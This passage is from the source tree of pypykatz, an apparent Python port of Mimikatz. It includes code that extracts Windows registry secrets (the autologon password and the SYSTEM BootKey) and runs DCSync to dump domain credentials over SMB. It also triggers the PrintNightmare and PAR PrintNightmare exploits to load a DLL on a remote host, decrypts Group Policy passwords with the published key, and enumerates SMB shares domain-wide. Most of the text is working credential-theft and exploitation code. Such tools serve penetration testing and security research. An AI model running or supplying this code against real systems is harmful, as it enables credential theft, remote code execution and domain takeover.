self.default_logon_domain = data 41 | 42 | if self.default_logon_password is None: 43 | try: 44 | data = self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword')[1] 45 | except: 46 | pass 47 | else: 48 | if isinstance(data, bytes): 49 | self.default_logon_password = data.decode('utf-16-le') 50 | else: 51 | self.default_logon_password = data 52 | 53 | return self.default_logon_user 54 | 55 | def to_dict(self): 56 | t = {} 57 | t['default_logon_user'] = self.default_logon_user 58 | t['default_logon_domain'] = self.default_logon_domain 59 | t['default_logon_password'] = self.default_logon_password 60 | return t 61 | 62 | def __str__(self): 63 | t = '============== SOFTWARE hive secrets ==============\r\n' 64 | t += 'default_logon_user: %s\r\n' % self.default_logon_user 65 | return t 66 | -------------------------------------------------------------------------------- /pypykatz/registry/system/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/registry/system/__init__.py -------------------------------------------------------------------------------- /pypykatz/registry/system/asystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | from pypykatz.registry import logger 7 | from pypykatz.commons.common import hexdump 8 | 9 | # 10 | # The SYSTEM hive holds the BootKey, which is used as an initial key to decrypt everything in the registry. 11 | # Without having the BootKey no decryption can be performed on any of the secrets, 12 | # therefore it is mandatory to supply this hive. 13 | # 14 | # The way to obtain the BootKey is quite straightforward. 15 | # First, we need to determine the current controlset (when the machine is running you find that available directly, but not when the hive was taken from a powered down machine) 16 | # Second, the BootKey is obfuscated and scattered in the Class attribute of 4 different registry keys. 17 | # we read the Class attribute of these keys and de-obfuscate the key 18 | # 19 | 20 | class SYSTEM: 21 | def __init__(self, system_hive): 22 | self.hive = system_hive 23 | self.currentcontrol = None 24 | self.bootkey = None 25 | 26 | async def get_currentcontrol(self): 27 | logger.debug('[SYSTEM] determining current control set') 28 | if self.currentcontrol is not None: 29 | return self.currentcontrol 30 | 31 | ccs = await self.hive.get_value('Select\\Current') 32 | ccs = ccs[1] 33 | self.currentcontrol = "ControlSet%03d" % ccs 34 | logger.debug('[SYSTEM] current control set name: %s' % self.currentcontrol) 35 | return self.currentcontrol 36 | 37 | async def get_bootkey(self): 38 | logger.debug('[SYSTEM] get_bootkey invoked') 39 | if self.bootkey is not None: 40 | return self.bootkey 41 | if self.currentcontrol is None: 42 | await self.get_currentcontrol() 43 | 44 | transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] 45 | bootkey_obf = '' 46 | for key in ['JD', 'Skew1', 'GBG', 'Data']: 47 | bootkey_obf += await self.hive.get_class('%s\\Control\\Lsa\\%s' % (self.currentcontrol, key)) 48 | 49 | bootkey_obf = bytes.fromhex(bootkey_obf) 50 | self.bootkey = b'' 51 | for i in range(len(bootkey_obf)): 52 | self.bootkey += bootkey_obf[transforms[i]:transforms[i] + 1] 53 | 54 | logger.debug('[SYSTEM] bootkey: %s' % self.bootkey.hex()) 55 | return self.bootkey 56 | 57 | async def get_secrets(self): 58 | await self.get_currentcontrol() 59 | await self.get_bootkey() 60 | 61 | async def get_service_user(self, service_name): 62 | if self.currentcontrol is None: 63 | await self.get_currentcontrol() 64 | 65 | try: 66 | key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name) 67 | val = await self.hive.get_value(key) 68 | return val[1].decode('utf-16-le') 69 | except: 70 | return None 71 | 72 | def to_dict(self): 73 | t = {} 74 | t['CurrentControlSet'] = self.currentcontrol 75 | t['BootKey'] = self.bootkey 76 | return t 77 | 78 | def __str__(self): 79 | t = '============== SYSTEM hive secrets ==============\r\n' 80 | t += 'CurrentControlSet: %s\r\n' % self.currentcontrol 81 | t += 'Boot Key: %s\r\n' % self.bootkey.hex() 82 | return t 83 | -------------------------------------------------------------------------------- /pypykatz/registry/system/system.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | from pypykatz.registry import logger 7 | from pypykatz.commons.common import hexdump 8 | 9 | # 10 | # The SYSTEM hive holds the BootKey, which is used as an initial key to decrypt everything in the registry. 11 | # Without having the BootKey no decryption can be performed on any of the secrets, 12 | # therefore it is mandatory to supply this hive. 13 | # 14 | # The way to obtain the BootKey is quite straightforward. 15 | # First, we need to determine the current controlset (when the machine is running you find that available directly, but not when the hive was taken from a powered down machine) 16 | # Second, the BootKey is obfuscated and scattered in the Class attribute of 4 different registry keys. 17 | # we read the Class attribute of these keys and de-obfuscate the key 18 | # 19 | 20 | class SYSTEM: 21 | def __init__(self, system_hive): 22 | self.hive = system_hive 23 | self.currentcontrol = None 24 | self.bootkey = None 25 | 26 | def get_currentcontrol(self): 27 | logger.debug('[SYSTEM] determining current control set') 28 | if self.currentcontrol is not None: 29 | return self.currentcontrol 30 | 31 | ccs = self.hive.get_value('Select\\Current')[1] 32 | self.currentcontrol = "ControlSet%03d" % ccs 33 | logger.debug('[SYSTEM] current control set name: %s' % self.currentcontrol) 34 | return self.currentcontrol 35 | 36 | def get_bootkey(self): 37 | logger.debug('[SYSTEM] get_bootkey invoked') 38 | if self.bootkey is not None: 39 | return self.bootkey 40 | if self.currentcontrol is None: 41 | self.get_currentcontrol() 42 | 43 | transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] 44 | bootkey_obf = '' 45 | for key in ['JD', 'Skew1', 'GBG', 'Data']: 46 | bootkey_obf += self.hive.get_class('%s\\Control\\Lsa\\%s' % (self.currentcontrol, key)) 47 | 48 | bootkey_obf = bytes.fromhex(bootkey_obf) 49 | self.bootkey = b'' 50 | for i in range(len(bootkey_obf)): 51 | self.bootkey += bootkey_obf[transforms[i]:transforms[i] + 1] 52 | 53 | logger.debug('[SYSTEM] bootkey: %s' % self.bootkey.hex()) 54 | return self.bootkey 55 | 56 | def get_secrets(self): 57 | self.get_currentcontrol() 58 | self.get_bootkey() 59 | 60 | def get_service_user(self, service_name): 61 | if self.currentcontrol is None: 62 | self.get_currentcontrol() 63 | 64 | try: 65 | key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name) 66 | return self.hive.get_value(key)[1].decode('utf-16-le') 67 | except: 68 | return None 69 | 70 | def to_dict(self): 71 | t = {} 72 | t['CurrentControlSet'] = self.currentcontrol 73 | t['BootKey'] = self.bootkey 74 | return t 75 | 76 | def __str__(self): 77 | t = '============== SYSTEM hive secrets ==============\r\n' 78 | t += 'CurrentControlSet: %s\r\n' % self.currentcontrol 79 | t += 'Boot Key: %s\r\n' % self.bootkey.hex() 80 | return t 81 | -------------------------------------------------------------------------------- /pypykatz/remote/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/remote/__init__.py -------------------------------------------------------------------------------- /pypykatz/remote/live/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/remote/live/__init__.py -------------------------------------------------------------------------------- /pypykatz/remote/live/common/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/remote/live/common/__init__.py -------------------------------------------------------------------------------- /pypykatz/remote/live/common/common.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | def is_port_up(ip, port, timeout = 1, throw = False): 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.settimeout(timeout) 6 | try: 7 | s.connect((ip, int(port))) 8 | s.shutdown(socket.SHUT_RDWR) 9 | return True 10 | except Exception as e: 11 | if throw is True: 12 | raise e 13 | return False 14 | finally: 15 | s.close() -------------------------------------------------------------------------------- /pypykatz/remote/live/localgroup/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/remote/live/localgroup/__init__.py -------------------------------------------------------------------------------- /pypykatz/remote/live/session/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/remote/live/session/__init__.py -------------------------------------------------------------------------------- /pypykatz/remote/live/share/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/remote/live/share/__init__.py -------------------------------------------------------------------------------- /pypykatz/smb/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/smb/__init__.py -------------------------------------------------------------------------------- /pypykatz/smb/dcsync.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | from pypykatz import logger 3 | 4 | async def dcsync(url, username = None): 5 | from aiosmb.commons.connection.factory import SMBConnectionFactory 6 | from aiosmb.commons.interfaces.machine import SMBMachine 7 | 8 | smburl = SMBConnectionFactory.from_url(url) 9 | connection = smburl.get_connection() 10 | 11 | users = [] 12 | if username is not None: 13 | users.append(username) 14 | 15 | async with connection: 16 | logger.debug('[DCSYNC] Connecting to server...') 17 | _, err = await connection.login() 18 | if err is not None: 19 | raise err 20 | 21 | logger.debug('[DCSYNC] Connected to server!') 22 | logger.debug('[DCSYNC] Running...') 23 | 24 | i = 0 25 | async with SMBMachine(connection) as machine: 26 | async for secret, err in machine.dcsync(target_users=users): 27 | if err is not None: 28 | raise err 29 | i += 1 30 | if i % 1000 == 0: 31 | logger.debug('[DCSYNC] Running... %s' % i) 32 | await asyncio.sleep(0) 33 | yield secret 34 | 35 | logger.debug('[DCSYNC] Finished!') 36 | -------------------------------------------------------------------------------- /pypykatz/smb/printer.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import os 3 | 4 | from pypykatz import logger 5 | 6 | async def printnightmare(url, dll_path, driverpath = None): 7 | try: 8 | from aiosmb.commons.connection.factory import SMBConnectionFactory 9 | from aiosmb.commons.interfaces.machine import SMBMachine 10 | 11 | smburl = SMBConnectionFactory.from_url(url) 12 | connection = smburl.get_connection() 13 | 14 | async with connection: 15 | logger.debug('[PRINTNIGHTMARE] Connecting to server...') 16 | _, err = await connection.login() 17 | if err is not None: 18 | raise err 19 | 20 | machine = SMBMachine(connection) 21 | logger.debug('[PRINTNIGHTMARE] Connected!') 22 | logger.debug('[PRINTNIGHTMARE] Triggering printnightmare...') 23 | _, err = await machine.printnightmare(dll_path, driverpath) 24 | if err is not None: 25 | raise err 26 | logger.debug('[PRINTNIGHTMARE] Printnightmare finished OK!') 27 | return True, None 28 | except Exception as e: 29 | import traceback 30 | traceback.print_exc() 31 | return None, e 32 | 33 | async def parprintnightmare(url, dll_path, driverpath = None): 34 | try: 35 | from aiosmb.commons.connection.factory import SMBConnectionFactory 36 | from aiosmb.commons.interfaces.machine import SMBMachine 37 | 38 | smburl = SMBConnectionFactory.from_url(url) 39 | connection = smburl.get_connection() 40 | 41 | async with connection: 42 | logger.debug('[PARPRINTNIGHTMARE] Connecting to server...') 43 | _, err = await connection.login() 44 | if err is not None: 45 | raise err 46 | 47 | machine = SMBMachine(connection) 48 | logger.debug('[PARPRINTNIGHTMARE] Connected!') 49 | logger.debug('[PARPRINTNIGHTMARE] Triggering parprintnightmare...') 50 | _, err = await machine.par_printnightmare(dll_path, driverpath) 51 | if err is not None: 52 | raise err 53 | logger.debug('[PARPRINTNIGHTMARE] Parprintnightmare finished OK!') 54 | return True, None 55 | except Exception as e: 56 | import traceback 57 | traceback.print_exc() 58 | return None, e -------------------------------------------------------------------------------- /pypykatz/smb/shareenum.py: -------------------------------------------------------------------------------- 1 | from msldap.commons.factory import LDAPConnectionFactory 2 | from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen 3 | 4 | def get_smb_url(authmethod = 'ntlm', protocol_version = '2', host = None): 5 | from winacl.functions.highlevel import get_logon_info 6 | info = get_logon_info() 7 | logonserver = info['logonserver'] 8 | if host is not None: 9 | logonserver = host 10 | 11 | return 'smb%s+sspi-%s://%s\\%s@%s' % (protocol_version, authmethod, info['domain'], info['username'], logonserver) 12 | 13 | 14 | def get_ldap_url(authmethod = 'ntlm', host = None): 15 | from winacl.functions.highlevel import get_logon_info 16 | info = get_logon_info() 17 | 18 | logonserver = info['logonserver'] 19 | if host is not None: 20 | logonserver = host 21 | 22 | return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver) 23 | 24 | class LDAPTargetGen: 25 | def __init__(self, url): 26 | self.url = url 27 | 28 | async def generate(self): 29 | try: 30 | conn_url = LDAPConnectionFactory.from_url(self.url) 31 | connection = conn_url.get_client() 32 | _, err = await connection.connect() 33 | if err is not None: 34 | raise err 35 | 36 | adinfo = connection._ldapinfo 37 | domain_name = adinfo.distinguishedName.replace('DC','').replace('=','').replace(',','.') 38 | 39 | async for machine, err in connection.get_all_machines(attrs=['sAMAccountName', 'dNSHostName', 'objectSid']): 40 | if err is not None: 41 | raise err 42 | 43 | dns = machine.dNSHostName 44 | if dns is None: 45 | dns = '%s.%s' % (machine.sAMAccountName[:-1], domain_name) 46 | 47 | yield str(machine.objectSid), str(dns), None 48 | 49 | except Exception as e: 50 | yield None, None, e 51 | 52 | 53 | async def shareenum(smb_url, ldap_url = None, targets = None, smb_worker_count = 10, depth = 3, out_file = None, progress = False, max_items = None, dirsd = False, filesd = False, authmethod = 'ntlm', protocol_version = '2', output_type = 'str', max_runtime = None, exclude_share = ['print$'], exclude_dir = [], exclude_target = []): 54 | 55 | if smb_url == 'auto': 56 | smb_url = get_smb_url(authmethod=authmethod, protocol_version=protocol_version) 57 | 58 | enumerator = SMBFileEnum( 59 | smb_url, 60 | worker_count = smb_worker_count, 61 | depth = depth, 62 | out_file = out_file, 63 | show_pbar = progress, 64 | max_items = max_items, 65 | fetch_dir_sd = dirsd, 66 | fetch_file_sd = filesd, 67 | output_type = output_type, 68 | max_runtime = max_runtime, 69 | exclude_share = exclude_share, 70 | exclude_dir = exclude_dir, 71 | exclude_target = exclude_target 72 | ) 73 | 74 | notfile = [] 75 | if targets is not None: 76 | for target in targets: 77 | try: 78 | f = open(target, 'r') 79 | f.close() 80 | enumerator.target_gens.append(FileTargetGen(target)) 81 | except: 82 | notfile.append(target) 83 | 84 | if len(notfile) > 0: 85 | enumerator.target_gens.append(ListTargetGen(notfile)) 86 | 87 | if ldap_url is not None: 88 | if ldap_url == 'auto': 89 | ldap_url = get_ldap_url(authmethod=authmethod) 90 | enumerator.target_gens.append(LDAPTargetGen(ldap_url)) 91 | 92 | if len(enumerator.target_gens) == 0: 93 | enumerator.enum_url = True 94 | #raise Exception('No suitable targets found!') 95 | 96 | await enumerator.run() 97 | -------------------------------------------------------------------------------- /pypykatz/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/utils/__init__.py -------------------------------------------------------------------------------- /pypykatz/utils/crypto/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/utils/crypto/__init__.py -------------------------------------------------------------------------------- /pypykatz/utils/crypto/cmdhelper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | class CryptoCMDHelper: 8 | def __init__(self): 9 | self.live_keywords = [] 10 | self.keywords = ['crypto'] 11 | 12 | def add_args(self, parser, live_parser): 13 | 14 | crypto_group = parser.add_parser('crypto', help='Utils for generating hashes/decrypting secrets etc') 15 | crypto_subparsers = crypto_group.add_subparsers() 16 | crypto_subparsers.required = True 17 | crypto_subparsers.dest = 'crypto_module' 18 | 19 | group = crypto_subparsers.add_parser('nt', help='Generates NT hash of the password') 20 | group.add_argument('password', help= 'Password to be hashed') 21 | 22 | group = crypto_subparsers.add_parser('lm', help='Generates LM hash of the password') 23 | group.add_argument('password', help= 'Password to be hashed') 24 | 25 | group = crypto_subparsers.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password') 26 | group.add_argument('username', help= 'username') 27 | group.add_argument('password', help= 'Password to be hashed') 28 | 29 | group = crypto_subparsers.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password') 30 | group.add_argument('username', help= 'username') 31 | group.add_argument('password', help= 'Password to be hashed') 32 | group.add_argument('-i','--iteration-count', type = int, default=10240, help= 'iteration-count') 33 | 34 | group = crypto_subparsers.add_parser('gppass', help='Decrypt GP passwords') 35 | group.add_argument('enc', help='Encrypted password string') 36 | 37 | def execute(self, args): 38 | if args.command in self.keywords: 39 | self.run(args) 40 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: 41 | raise Exception('There are no live commands for crypto.') 42 | #self.run_live(args) 43 | 44 | def run(self, args): 45 | from pypykatz.utils.crypto.winhash import NT, LM, MSDCC, MSDCCv2 46 | from pypykatz.utils.crypto.gppassword import gppassword 47 | 48 | if args.crypto_module == 'nt': 49 | print(NT(args.password).hex()) 50 | 51 | elif args.crypto_module == 'lm': 52 | print(LM(args.password).hex()) 53 | 54 | elif args.crypto_module == 'dcc': 55 | print(MSDCC(args.username, args.password).hex()) 56 | 57 | elif args.crypto_module == 'dcc2': 58 | print(MSDCCv2(args.username, args.password, args.iteration_count).hex()) 59 | 60 | elif args.crypto_module == 'gppass': 61 | print(gppassword(args.enc)) 62 | -------------------------------------------------------------------------------- /pypykatz/utils/crypto/gppassword.py: -------------------------------------------------------------------------------- 1 | 2 | import base64 3 | from unicrypto.symmetric import AES, MODE_CBC 4 | from unicrypto.backends.pure.padding.pkcs7 import unpad as pkcs7_unpad 5 | 6 | 7 | def gppassword(pw_enc_b64): 8 | AES_KEY = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b' 9 | AES_IV = b'\x00'*16 10 | 11 | pad = len(pw_enc_b64) % 4 12 | if pad == 1: 13 | pw_enc_b64 = pw_enc_b64[:-1] 14 | elif pad == 2 or pad == 3: 15 | pw_enc_b64 += '=' * (4 - pad) 16 | 17 | pw_enc = base64.b64decode(pw_enc_b64) 18 | 19 | ctx = AES(AES_KEY, MODE_CBC, IV = AES_IV) 20 | pw_dec = pkcs7_unpad(ctx.decrypt(pw_enc)) 21 | 22 | return pw_dec.decode('utf-16-le') 23 | -------------------------------------------------------------------------------- /pypykatz/utils/crypto/winhash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | from unicrypto.symmetric import DES, expand_DES_key 8 | from unicrypto.pbkdf2 import pbkdf2 9 | from unicrypto.hashlib import md4 as MD4 10 | 11 | def LM(password): 12 | if password is None or password == '': 13 | return bytes.fromhex('aad3b435b51404eeaad3b435b51404ee') 14 | LM_SECRET = b'KGS!@#$%' 15 | password_uppercase = password.upper() 16 | password_uppercase_bytes = password_uppercase.encode('ascii') 17 | password_uppercase_bytes_padded = password_uppercase_bytes.ljust(14, b'\x00') 18 | password_chunk_1 = password_uppercase_bytes_padded[0:7] 19 | password_chunk_2 = password_uppercase_bytes_padded[7:] 20 | des_chunk_1 = DES(expand_DES_key(password_chunk_1)) 21 | des_chunk_2 = DES(expand_DES_key(password_chunk_2)) 22 | des_first_half = des_chunk_1.encrypt(LM_SECRET) 23 | des_second_half = des_chunk_2.encrypt(LM_SECRET) 24 | lm_hash = des_first_half + des_second_half 25 | 26 | return lm_hash 27 | 28 | def NT(password): 29 | if password is None or password == '': 30 | return bytes.fromhex('31d6cfe0d16ae931b73c59d7e0c089c0') 31 | password_bytes = password.encode('utf-16-le') 32 | md4 = MD4(password_bytes) 33 | return md4.digest() 34 | 35 | def MSDCC(username, password): 36 | nt_hash_of_password = NT(password) 37 | username_lower = username.lower() 38 | username_bytes = username_lower.encode('utf-16-le') 39 | md4 = MD4(nt_hash_of_password + username_bytes) 40 | #md4.update(nt_hash_of_password) 41 | #md4.update(username_bytes) 42 | dcc = md4.digest() 43 | return dcc 44 | 45 | def MSDCCv2(username, password, iterations = 10240): 46 | #The iteration count is by default 10240 but it depends on the HKEY_LOCAL_MACHINE\SECURITY\Cache\NL$IterationCount key value. 47 | msdcc_hash = MSDCC(username, password) 48 | username_lower = username.lower() 49 | username_bytes = username_lower.encode('utf-16-le') 50 | msdcc_v2 = pbkdf2(msdcc_hash, username_bytes, iterations, 16) 51 | hashcat_format = '$DCC2$%s#%s#%s' % (iterations, username, msdcc_v2.hex()) 52 | 53 | return msdcc_v2 -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | import re 3 | import platform 4 | 5 | VERSIONFILE="pypykatz/_version.py" 6 | verstrline = open(VERSIONFILE, "rt").read() 7 | VSRE = r"^__version__ = ['\"]([^'\"]*)['\"]" 8 | mo = re.search(VSRE, verstrline, re.M) 9 | if mo: 10 | verstr = mo.group(1) 11 | else: 12 | raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,)) 13 | 14 | ep = { 15 | 'console_scripts': [ 16 | 'pypykatz = pypykatz.__main__:main', 17 | ], 18 | } 19 | 20 | setup( 21 | # Application name: 22 | name="pypykatz", 23 | 24 | # Version number (initial): 25 | version=verstr, 26 | 27 | # Application author details: 28 | author="Tamas Jos", 29 | author_email="info@skelsecprojects.com", 30 | 31 | # Packages 32 | packages=find_packages(), 33 | 34 | # Include additional files into the package 35 | include_package_data=True, 36 | 37 | 38 | # Details 39 | url="https://github.com/skelsec/pypykatz", 40 | 41 | zip_safe = True, 42 | # 43 | # license="LICENSE.txt", 44 | description="Python implementation of Mimikatz", 45 | 46 | # long_description=open("README.txt").read(), 47 | python_requires='>=3.6', 48 | classifiers=[ 49 | "Programming Language :: Python :: 3.6", 50 | "License :: OSI Approved :: MIT License", 51 | "Operating System :: OS Independent", 52 | ], 53 | install_requires=[ 54 | 'unicrypto>=0.0.9', 55 | 'minidump>=0.0.21', 56 | 'minikerberos>=0.3.5', 57 | 'aiowinreg>=0.0.7', 58 | 'msldap>=0.4.1', 59 | 'winacl>=0.1.5', 60 | 'aiosmb>=0.4.2', 61 | 'aesedb>=0.1.0', 62 | 'tqdm', 63 | ], 64 | 65 | # No more conveinent .exe entry point thanks to some idiot who 66 | # used the code without modification in a state-backed trojan. 67 | # Thank you for runing it for everyone. 68 | # 69 | # 70 | entry_points=ep if platform.system().lower() != 'windows' else {} 71 | ) 72 | --------------------------------------------------------------------------------